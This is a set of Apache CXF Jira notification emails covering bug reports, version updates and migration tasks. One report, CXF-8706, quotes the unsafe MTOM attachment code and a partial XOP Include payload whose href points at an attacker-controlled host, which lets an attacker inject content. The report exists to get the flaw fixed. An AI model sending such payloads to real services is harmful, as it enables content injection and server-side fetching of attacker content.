[jira] [Updated] (CXF-8724) Bring back temporary excluded modules
[ https://issues.apache.org/jira/browse/CXF-8724?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8724: -- Description: - `wadl2java-plugin` - `java2swagger-plugin` - `osgi` *- REMOVED* - `description-swagger` - *REMOVED* - `description-microprofile-openapi` - *DONE* - `websocket` - `grizzly` - `jaxrs` - `codegen` was: - `wadl2java-plugin` - `java2swagger-plugin` - `osgi` - `description-swagger` - `description-microprofile-openapi` - DONE - `websocket` - `grizzly` - `jaxrs` - `codegen` > Bring back temporary excluded modules > -- > > Key: CXF-8724 > URL: https://issues.apache.org/jira/browse/CXF-8724 > Project: CXF > Issue Type: Sub-task >Reporter: Andriy Redko >Priority: Major > > - `wadl2java-plugin` > - `java2swagger-plugin` > - `osgi` *- REMOVED* > - `description-swagger` - *REMOVED* > - `description-microprofile-openapi` - *DONE* > - `websocket` > - `grizzly` > - `jaxrs` > - `codegen` -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8712) RetryStrategy tries one time too often
[
https://issues.apache.org/jira/browse/CXF-8712?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8712:
--
Fix Version/s: 4.0.0
3.6.0
3.5.4
3.4.9
> RetryStrategy tries one time too often
> --
>
> Key: CXF-8712
> URL: https://issues.apache.org/jira/browse/CXF-8712
> Project: CXF
> Issue Type: Bug
> Components: Clustering
>Affects Versions: 3.4.7
>Reporter: Konrad Windszus
>Priority: Major
> Fix For: 4.0.0, 3.6.0, 3.5.4, 3.4.9
>
>
> The maxNumberOfRetries is not correctly evaluated in the RetryStrategy. If it
> is set to 3, the amount of retries is actually 4.
> This is due to the fact that {{getNextAlternate()}} will return the same
> result for both {{stillTheSameAddress}} returning either {{false}} or
> {{true}}.
> Although the break condition in
> https://github.com/apache/cxf/blob/75fb6bb56d82f72771a9ee6ecab5d36168303f51/rt/features/clustering/src/main/java/org/apache/cxf/clustering/RetryStrategy.java#L55
> is correct, the logic in
> https://github.com/apache/cxf/blob/75fb6bb56d82f72771a9ee6ecab5d36168303f51/rt/features/clustering/src/main/java/org/apache/cxf/clustering/RetryStrategy.java#L45
> is flawed, as it will not return the next alternate in case
> {{stillTheSameAddress}} returns false.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8706) CXF MTOM handler allow content injection
[
https://issues.apache.org/jira/browse/CXF-8706?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8706:
--
Fix Version/s: 3.5.5
3.4.10
(was: 3.5.4)
(was: 3.4.9)
> CXF MTOM handler allow content injection
>
>
> Key: CXF-8706
> URL: https://issues.apache.org/jira/browse/CXF-8706
> Project: CXF
> Issue Type: Bug
> Components: JAXB Databinding
>Affects Versions: 3.5.2
>Reporter: Chunqing Lin
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 4.0.0, 3.6.0, 3.5.5, 3.4.10
>
>
> When used with SOAP web service or JAXRS web service with MTOM enabled,
> Unmarshaller allows XOP Include tag to have href attributes that allow any
> protocols. According to the W3C MTOM spec, only "cid:" should be allowed for
> href scheme.
> The affected call stack is:
> AttachmentUtil.getAttachmentDataSource(String, Collection)
> line: 554
> JAXBAttachmentUnmarshaller.getAttachmentAsDataHandler(String) line: 49
> MTOMDecorator.startElement(TagName) line: 70
> The source code is:
> public static DataSource getAttachmentDataSource(String contentId,
> Collection atts) {
> // Is this right? - DD
> if (contentId.startsWith("cid:")) {
> try {
> contentId = URLDecoder.decode(contentId.substring(4),
> StandardCharsets.UTF_8.name());
> } catch (UnsupportedEncodingException ue) {
> contentId = contentId.substring(4);
> }
> return loadDataSource(contentId, atts);
> } else if (contentId.indexOf("://") == -1) {
> return loadDataSource(contentId, atts);
> } else {// should only take cid for XOP
> try {
> return new URLDataSource(new URL(contentId));
> } catch (MalformedURLException e) {
> throw new Fault(e);
> }
> }
> }
>
> The exploit can send payload containing:
> http://attackers.site/exploit/payload";
> xmlns:inc="http://www.w3.org/2004/08/xop/include"/>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8691) Logging Feature - Sensitive element with arrays
[
https://issues.apache.org/jira/browse/CXF-8691?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8691:
--
Fix Version/s: 3.5.5
3.4.10
(was: 3.5.4)
(was: 3.4.9)
> Logging Feature - Sensitive element with arrays
> ---
>
> Key: CXF-8691
> URL: https://issues.apache.org/jira/browse/CXF-8691
> Project: CXF
> Issue Type: Bug
> Components: JAX-RS
>Affects Versions: 3.4.0, 3.5.1
>Reporter: Daniel
>Assignee: Andriy Redko
>Priority: Minor
> Labels: Logging
> Fix For: 4.0.0, 3.6.0, 3.5.5, 3.4.10
>
>
> Hi,
> I am trying to use the LoggingFeature within cxf-rt and hide sensitive
> element names.
> The code I use looks like the following:
>
> {code:java}
> LoggingFeature loggingFeature = new LoggingFeature();
> loggingFeature.setLogBinary(false);
> loggingFeature.setPrettyLogging(true);
> loggingFeature.setLogMultipart(false);
> loggingFeature.addSensitiveElementNames(new
> HashSet<>(Arrays.asList("password")));
> {code}
> Payload:
> {code:java}
> private final String shortName;
> private final char[] password;
> {code}
>
> Output:
>
> {code:java}
> [services.MyWebservicePort.REQ_OUT] INFO - REQ_OUT
> Address: http://
> HttpMethod: POST
> Content-Type: application/json
> ExchangeId: 560b73ae-e7e0-4687-9674-19ee72995a08
> Headers: {Accept=text/plain, Accept-Encoding=gzip;q=1.0, identity; q=0.5,
> *;q=0, Content-Type=application/json}
> Payload:
> {"shortName":"UserName","password":["G","e","h","e","i","m","1","2","3","!"]}
> {code}
> As you can see, my password is not hidden in the output of the payload. It is
> important to mention, that the field "password" in my code is declared as a
> char-array.
> However, if I add "shortName" to the sensetiveElementNames, everything works
> as expected. The shortName is hidden (XXX), due to it beeing declared as a
> String.
> I looked at the source code an tracked the problem down to a regex.
> "password" is not found, as the value is an array (MarkSensetiveHelper.java)
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8743) Update to GraalVM 22.2
[ https://issues.apache.org/jira/browse/CXF-8743?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8743: -- Fix Version/s: 3.5.5 3.4.10 (was: 3.5.4) (was: 3.4.9) > Update to GraalVM 22.2 > -- > > Key: CXF-8743 > URL: https://issues.apache.org/jira/browse/CXF-8743 > Project: CXF > Issue Type: Improvement > Components: graalvm >Affects Versions: 3.5.3, 3.4.8 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 3.6.0, 3.5.5, 3.4.10 > > > https://github.com/graalvm/graalvm-ce-builds/releases/tag/vm-22.2.0 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Commented] (CXF-8749) Existing handler file fails the compile generated java source files
[
https://issues.apache.org/jira/browse/CXF-8749?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17610994#comment-17610994
]
Jim Ma commented on CXF-8749:
-
[~coheigea] Yes. All fixes are backported. I just closed this issue.
> Existing handler file fails the compile generated java source files
> ---
>
> Key: CXF-8749
> URL: https://issues.apache.org/jira/browse/CXF-8749
> Project: CXF
> Issue Type: Bug
> Components: Tooling
>Affects Versions: 3.5.3
>Reporter: Jim Ma
>Assignee: Jim Ma
>Priority: Major
> Fix For: 4.0.0, 3.6.0, 3.5.4
>
>
> Use wsdl2java to generate code for two wsdls , and passing the same "-d" and
> "-classdir" flags to put the source files and compiled classes to one
> directory. The first wsdl file generated handler files always fails compiler
> the source files by the second wsdl.
> {code:java}
> org.apache.cxf.tools.common.ToolException:
> FAIL_TO_COPY_GENERATED_RESOURCE_FILE
> at org.apache.cxf.tools.common.ClassUtils.compile(ClassUtils.java:104)
> at
> org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.processWsdl(WSDLToJavaContainer.java:295)
> at
> org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.execute(WSDLToJavaContainer.java:156)
> at
> org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.execute(WSDLToJavaContainer.java:402)
> at
> org.apache.cxf.tools.common.toolspec.ToolRunner.runTool(ToolRunner.java:105)
> at org.apache.cxf.tools.wsdlto.WSDLToJava.run(WSDLToJava.java:113)
> at
> org.jboss.wsf.stack.cxf.tools.CXFConsumerImpl.consume(CXFConsumerImpl.java:303)
> at org.jboss.ws.tools.cmd.WSConsume.importServices(WSConsume.java:298)
> at org.jboss.ws.tools.cmd.WSConsume.mainInternal(WSConsume.java:108)
> at org.jboss.ws.tools.cmd.WSConsume.main(WSConsume.java:96)
> Caused by: java.nio.file.FileAlreadyExistsException:
> /Users/jimma/classes/generated-classes/Endpoint_handler.xml
> at sun.nio.fs.UnixCopyFile.copy(UnixCopyFile.java:551)
> at
> sun.nio.fs.UnixFileSystemProvider.copy(UnixFileSystemProvider.java:253)
> at java.nio.file.Files.copy(Files.java:1274)
> at org.apache.cxf.tools.common.ClassUtils.compile(ClassUtils.java:99)
> ... 9 more{code}
>
> This issue is introduced by：
> {code:java}
> commit f5f08c838e1d52f17bcc8422fac38831a63e6e30
> Author: Alexey Markevich
> Date: Mon Nov 16 10:44:36 2020 +0300
> cxf-tools-common: use Files.copy
> {code}
> [https://github.com/apache/cxf/commit/f5f08c838e1d52f17bcc8422fac38831a63e6e30]
>
> It's better to add a warning message instead of throwing exception which
> fails the compiling generated files.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Resolved] (CXF-8749) Existing handler file fails the compile generated java source files
[
https://issues.apache.org/jira/browse/CXF-8749?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Jim Ma resolved CXF-8749.
-
Resolution: Fixed
> Existing handler file fails the compile generated java source files
> ---
>
> Key: CXF-8749
> URL: https://issues.apache.org/jira/browse/CXF-8749
> Project: CXF
> Issue Type: Bug
> Components: Tooling
>Affects Versions: 3.5.3
>Reporter: Jim Ma
>Assignee: Jim Ma
>Priority: Major
> Fix For: 4.0.0, 3.6.0, 3.5.4
>
>
> Use wsdl2java to generate code for two wsdls , and passing the same "-d" and
> "-classdir" flags to put the source files and compiled classes to one
> directory. The first wsdl file generated handler files always fails compiler
> the source files by the second wsdl.
> {code:java}
> org.apache.cxf.tools.common.ToolException:
> FAIL_TO_COPY_GENERATED_RESOURCE_FILE
> at org.apache.cxf.tools.common.ClassUtils.compile(ClassUtils.java:104)
> at
> org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.processWsdl(WSDLToJavaContainer.java:295)
> at
> org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.execute(WSDLToJavaContainer.java:156)
> at
> org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.execute(WSDLToJavaContainer.java:402)
> at
> org.apache.cxf.tools.common.toolspec.ToolRunner.runTool(ToolRunner.java:105)
> at org.apache.cxf.tools.wsdlto.WSDLToJava.run(WSDLToJava.java:113)
> at
> org.jboss.wsf.stack.cxf.tools.CXFConsumerImpl.consume(CXFConsumerImpl.java:303)
> at org.jboss.ws.tools.cmd.WSConsume.importServices(WSConsume.java:298)
> at org.jboss.ws.tools.cmd.WSConsume.mainInternal(WSConsume.java:108)
> at org.jboss.ws.tools.cmd.WSConsume.main(WSConsume.java:96)
> Caused by: java.nio.file.FileAlreadyExistsException:
> /Users/jimma/classes/generated-classes/Endpoint_handler.xml
> at sun.nio.fs.UnixCopyFile.copy(UnixCopyFile.java:551)
> at
> sun.nio.fs.UnixFileSystemProvider.copy(UnixFileSystemProvider.java:253)
> at java.nio.file.Files.copy(Files.java:1274)
> at org.apache.cxf.tools.common.ClassUtils.compile(ClassUtils.java:99)
> ... 9 more{code}
>
> This issue is introduced by：
> {code:java}
> commit f5f08c838e1d52f17bcc8422fac38831a63e6e30
> Author: Alexey Markevich
> Date: Mon Nov 16 10:44:36 2020 +0300
> cxf-tools-common: use Files.copy
> {code}
> [https://github.com/apache/cxf/commit/f5f08c838e1d52f17bcc8422fac38831a63e6e30]
>
> It's better to add a warning message instead of throwing exception which
> fails the compiling generated files.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8749) Existing handler file fails the compile generated java source files
[
https://issues.apache.org/jira/browse/CXF-8749?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Jim Ma updated CXF-8749:
Fix Version/s: 3.6.0
> Existing handler file fails the compile generated java source files
> ---
>
> Key: CXF-8749
> URL: https://issues.apache.org/jira/browse/CXF-8749
> Project: CXF
> Issue Type: Bug
> Components: Tooling
>Affects Versions: 3.5.3
>Reporter: Jim Ma
>Assignee: Jim Ma
>Priority: Major
> Fix For: 4.0.0, 3.6.0, 3.5.4
>
>
> Use wsdl2java to generate code for two wsdls , and passing the same "-d" and
> "-classdir" flags to put the source files and compiled classes to one
> directory. The first wsdl file generated handler files always fails compiler
> the source files by the second wsdl.
> {code:java}
> org.apache.cxf.tools.common.ToolException:
> FAIL_TO_COPY_GENERATED_RESOURCE_FILE
> at org.apache.cxf.tools.common.ClassUtils.compile(ClassUtils.java:104)
> at
> org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.processWsdl(WSDLToJavaContainer.java:295)
> at
> org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.execute(WSDLToJavaContainer.java:156)
> at
> org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.execute(WSDLToJavaContainer.java:402)
> at
> org.apache.cxf.tools.common.toolspec.ToolRunner.runTool(ToolRunner.java:105)
> at org.apache.cxf.tools.wsdlto.WSDLToJava.run(WSDLToJava.java:113)
> at
> org.jboss.wsf.stack.cxf.tools.CXFConsumerImpl.consume(CXFConsumerImpl.java:303)
> at org.jboss.ws.tools.cmd.WSConsume.importServices(WSConsume.java:298)
> at org.jboss.ws.tools.cmd.WSConsume.mainInternal(WSConsume.java:108)
> at org.jboss.ws.tools.cmd.WSConsume.main(WSConsume.java:96)
> Caused by: java.nio.file.FileAlreadyExistsException:
> /Users/jimma/classes/generated-classes/Endpoint_handler.xml
> at sun.nio.fs.UnixCopyFile.copy(UnixCopyFile.java:551)
> at
> sun.nio.fs.UnixFileSystemProvider.copy(UnixFileSystemProvider.java:253)
> at java.nio.file.Files.copy(Files.java:1274)
> at org.apache.cxf.tools.common.ClassUtils.compile(ClassUtils.java:99)
> ... 9 more{code}
>
> This issue is introduced by：
> {code:java}
> commit f5f08c838e1d52f17bcc8422fac38831a63e6e30
> Author: Alexey Markevich
> Date: Mon Nov 16 10:44:36 2020 +0300
> cxf-tools-common: use Files.copy
> {code}
> [https://github.com/apache/cxf/commit/f5f08c838e1d52f17bcc8422fac38831a63e6e30]
>
> It's better to add a warning message instead of throwing exception which
> fails the compiling generated files.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Commented] (CXF-8754) Update to Jetty 10
[ https://issues.apache.org/jira/browse/CXF-8754?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17610992#comment-17610992 ] Andriy Redko commented on CXF-8754: --- Thanks [~coheigea] , missed that there was an issue already created > Update to Jetty 10 > -- > > Key: CXF-8754 > URL: https://issues.apache.org/jira/browse/CXF-8754 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 3.6.0 > > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Resolved] (CXF-8754) Update to Jetty 10
[ https://issues.apache.org/jira/browse/CXF-8754?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Colm O hEigeartaigh resolved CXF-8754. -- Resolution: Duplicate > Update to Jetty 10 > -- > > Key: CXF-8754 > URL: https://issues.apache.org/jira/browse/CXF-8754 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 3.6.0 > > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Commented] (CXF-8749) Existing handler file fails the compile generated java source files
[
https://issues.apache.org/jira/browse/CXF-8749?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17610987#comment-17610987
]
Colm O hEigeartaigh commented on CXF-8749:
--
[~ema] Can the Jira be closed? Are all fixes backported to 3.5.x-fixes?
> Existing handler file fails the compile generated java source files
> ---
>
> Key: CXF-8749
> URL: https://issues.apache.org/jira/browse/CXF-8749
> Project: CXF
> Issue Type: Bug
> Components: Tooling
>Affects Versions: 3.5.3
>Reporter: Jim Ma
>Assignee: Jim Ma
>Priority: Major
> Fix For: 4.0.0, 3.5.4
>
>
> Use wsdl2java to generate code for two wsdls , and passing the same "-d" and
> "-classdir" flags to put the source files and compiled classes to one
> directory. The first wsdl file generated handler files always fails compiler
> the source files by the second wsdl.
> {code:java}
> org.apache.cxf.tools.common.ToolException:
> FAIL_TO_COPY_GENERATED_RESOURCE_FILE
> at org.apache.cxf.tools.common.ClassUtils.compile(ClassUtils.java:104)
> at
> org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.processWsdl(WSDLToJavaContainer.java:295)
> at
> org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.execute(WSDLToJavaContainer.java:156)
> at
> org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.execute(WSDLToJavaContainer.java:402)
> at
> org.apache.cxf.tools.common.toolspec.ToolRunner.runTool(ToolRunner.java:105)
> at org.apache.cxf.tools.wsdlto.WSDLToJava.run(WSDLToJava.java:113)
> at
> org.jboss.wsf.stack.cxf.tools.CXFConsumerImpl.consume(CXFConsumerImpl.java:303)
> at org.jboss.ws.tools.cmd.WSConsume.importServices(WSConsume.java:298)
> at org.jboss.ws.tools.cmd.WSConsume.mainInternal(WSConsume.java:108)
> at org.jboss.ws.tools.cmd.WSConsume.main(WSConsume.java:96)
> Caused by: java.nio.file.FileAlreadyExistsException:
> /Users/jimma/classes/generated-classes/Endpoint_handler.xml
> at sun.nio.fs.UnixCopyFile.copy(UnixCopyFile.java:551)
> at
> sun.nio.fs.UnixFileSystemProvider.copy(UnixFileSystemProvider.java:253)
> at java.nio.file.Files.copy(Files.java:1274)
> at org.apache.cxf.tools.common.ClassUtils.compile(ClassUtils.java:99)
> ... 9 more{code}
>
> This issue is introduced by：
> {code:java}
> commit f5f08c838e1d52f17bcc8422fac38831a63e6e30
> Author: Alexey Markevich
> Date: Mon Nov 16 10:44:36 2020 +0300
> cxf-tools-common: use Files.copy
> {code}
> [https://github.com/apache/cxf/commit/f5f08c838e1d52f17bcc8422fac38831a63e6e30]
>
> It's better to add a warning message instead of throwing exception which
> fails the compiling generated files.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8712) RetryStrategy tries one time too often
[
https://issues.apache.org/jira/browse/CXF-8712?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Colm O hEigeartaigh updated CXF-8712:
-
Fix Version/s: (was: 4.0.0)
(was: 3.6.0)
(was: 3.5.4)
(was: 3.4.9)
> RetryStrategy tries one time too often
> --
>
> Key: CXF-8712
> URL: https://issues.apache.org/jira/browse/CXF-8712
> Project: CXF
> Issue Type: Bug
> Components: Clustering
>Affects Versions: 3.4.7
>Reporter: Konrad Windszus
>Priority: Major
>
> The maxNumberOfRetries is not correctly evaluated in the RetryStrategy. If it
> is set to 3, the amount of retries is actually 4.
> This is due to the fact that {{getNextAlternate()}} will return the same
> result for both {{stillTheSameAddress}} returning either {{false}} or
> {{true}}.
> Although the break condition in
> https://github.com/apache/cxf/blob/75fb6bb56d82f72771a9ee6ecab5d36168303f51/rt/features/clustering/src/main/java/org/apache/cxf/clustering/RetryStrategy.java#L55
> is correct, the logic in
> https://github.com/apache/cxf/blob/75fb6bb56d82f72771a9ee6ecab5d36168303f51/rt/features/clustering/src/main/java/org/apache/cxf/clustering/RetryStrategy.java#L45
> is flawed, as it will not return the next alternate in case
> {{stillTheSameAddress}} returns false.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Resolved] (CXF-8723) Migration path for OSGi
[ https://issues.apache.org/jira/browse/CXF-8723?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko resolved CXF-8723. --- Resolution: Fixed > Migration path for OSGi > --- > > Key: CXF-8723 > URL: https://issues.apache.org/jira/browse/CXF-8723 > Project: CXF > Issue Type: Sub-task >Reporter: Andriy Redko >Assignee: Jim Ma >Priority: Major > Fix For: 4.0.0 > > > OSGi support has been removed (till OSGi + Jakarta is released): > https://github.com/apache/cxf/pull/999 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8723) Migration path for OSGi
[ https://issues.apache.org/jira/browse/CXF-8723?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8723: -- Description: https://github.com/apache/cxf/pull/999 > Migration path for OSGi > --- > > Key: CXF-8723 > URL: https://issues.apache.org/jira/browse/CXF-8723 > Project: CXF > Issue Type: Sub-task >Reporter: Andriy Redko >Assignee: Jim Ma >Priority: Major > Fix For: 4.0.0 > > > https://github.com/apache/cxf/pull/999 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8723) Migration path for OSGi
[ https://issues.apache.org/jira/browse/CXF-8723?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8723: -- Description: OSGi support has been removed (till OSGi + Jakarta is released): https://github.com/apache/cxf/pull/999 (was: https://github.com/apache/cxf/pull/999) > Migration path for OSGi > --- > > Key: CXF-8723 > URL: https://issues.apache.org/jira/browse/CXF-8723 > Project: CXF > Issue Type: Sub-task >Reporter: Andriy Redko >Assignee: Jim Ma >Priority: Major > Fix For: 4.0.0 > > > OSGi support has been removed (till OSGi + Jakarta is released): > https://github.com/apache/cxf/pull/999 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Resolved] (CXF-8714) Migration path for Swagger v1.x
[ https://issues.apache.org/jira/browse/CXF-8714?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko resolved CXF-8714. --- Resolution: Fixed > Migration path for Swagger v1.x > --- > > Key: CXF-8714 > URL: https://issues.apache.org/jira/browse/CXF-8714 > Project: CXF > Issue Type: Sub-task >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0 > > > It seems like Swagger 1.x is not planned to support Jakarta, we would need to > drop this integration -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Assigned] (CXF-8723) Migration path for OSGi
[ https://issues.apache.org/jira/browse/CXF-8723?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko reassigned CXF-8723: - Assignee: Jim Ma > Migration path for OSGi > --- > > Key: CXF-8723 > URL: https://issues.apache.org/jira/browse/CXF-8723 > Project: CXF > Issue Type: Sub-task >Reporter: Andriy Redko >Assignee: Jim Ma >Priority: Major > Fix For: 4.0.0 > > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Commented] (CXF-8762) CXF client sends the SOAPAction header without quotes
[ https://issues.apache.org/jira/browse/CXF-8762?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17610929#comment-17610929 ] Radovan Netuka commented on CXF-8762: - [~avi5kdonrh] Thanks for the guidance. Since Camel uses the header value unquoted, it would be best to apply the quotes as late as possible to avoid any string comparison issues. Your suggested solution looks good. What do you think [~reta] > CXF client sends the SOAPAction header without quotes > - > > Key: CXF-8762 > URL: https://issues.apache.org/jira/browse/CXF-8762 > Project: CXF > Issue Type: Bug >Reporter: Avinash Dongre >Priority: Major > Attachments: proposed_fix.patch > > > A Camel CXF client that works similarly to > [this|https://github.com/avi5kdonrh/cxf/blob/a7e8f9aa48656b1b7cc6458edb3bb60da7439d96/rt/bindings/soap/src/test/java/org/apache/cxf/binding/soap/interceptor/SOAPActionWithoutQuotesTest.java#L39-L43] > test case, doesn't send the SOAPAction header in double quotes which breaks > [this|http://www.ws-i.org/Profiles/BasicProfile-1.1.html#SOAPAction_HTTP_Header] > specification. > The said [test > case|https://github.com/avi5kdonrh/cxf/blob/cxf-soap-action/rt/bindings/soap/src/test/java/org/apache/cxf/binding/soap/interceptor/SOAPActionWithoutQuotesTest.java] > fails: > org.junit.ComparisonFailure: > Expected :"http://foo/bar/SEI/opReq"; > Actual :[http://foo/bar/SEI/opReq] > It seems to be caused by this change: > [https://github.com/apache/cxf/pull/307/files] > Proposed fix. > [https://github.com/apache/cxf/commit/66835e3db93ffa1cf7ab1df51ccd8c99fe6b1785?diff=split] > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Comment Edited] (CXF-8762) CXF client sends the SOAPAction header without quotes
[ https://issues.apache.org/jira/browse/CXF-8762?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17610929#comment-17610929 ] Radovan Netuka edited comment on CXF-8762 at 9/29/22 9:59 AM: -- [~avi5kdonrh] Thanks for the guidance. Since Camel uses the header value unquoted, it would be best to apply the quotes as late as possible to avoid any string comparison issues. Your suggested solution looks good. What do you think [~reta]? was (Author: rnetuka): [~avi5kdonrh] Thanks for the guidance. Since Camel uses the header value unquoted, it would be best to apply the quotes as late as possible to avoid any string comparison issues. Your suggested solution looks good. What do you think [~reta] > CXF client sends the SOAPAction header without quotes > - > > Key: CXF-8762 > URL: https://issues.apache.org/jira/browse/CXF-8762 > Project: CXF > Issue Type: Bug >Reporter: Avinash Dongre >Priority: Major > Attachments: proposed_fix.patch > > > A Camel CXF client that works similarly to > [this|https://github.com/avi5kdonrh/cxf/blob/a7e8f9aa48656b1b7cc6458edb3bb60da7439d96/rt/bindings/soap/src/test/java/org/apache/cxf/binding/soap/interceptor/SOAPActionWithoutQuotesTest.java#L39-L43] > test case, doesn't send the SOAPAction header in double quotes which breaks > [this|http://www.ws-i.org/Profiles/BasicProfile-1.1.html#SOAPAction_HTTP_Header] > specification. > The said [test > case|https://github.com/avi5kdonrh/cxf/blob/cxf-soap-action/rt/bindings/soap/src/test/java/org/apache/cxf/binding/soap/interceptor/SOAPActionWithoutQuotesTest.java] > fails: > org.junit.ComparisonFailure: > Expected :"http://foo/bar/SEI/opReq"; > Actual :[http://foo/bar/SEI/opReq] > It seems to be caused by this change: > [https://github.com/apache/cxf/pull/307/files] > Proposed fix. > [https://github.com/apache/cxf/commit/66835e3db93ffa1cf7ab1df51ccd8c99fe6b1785?diff=split] > -- This message was sent by Atlassian Jira (v8.20.10#820010)
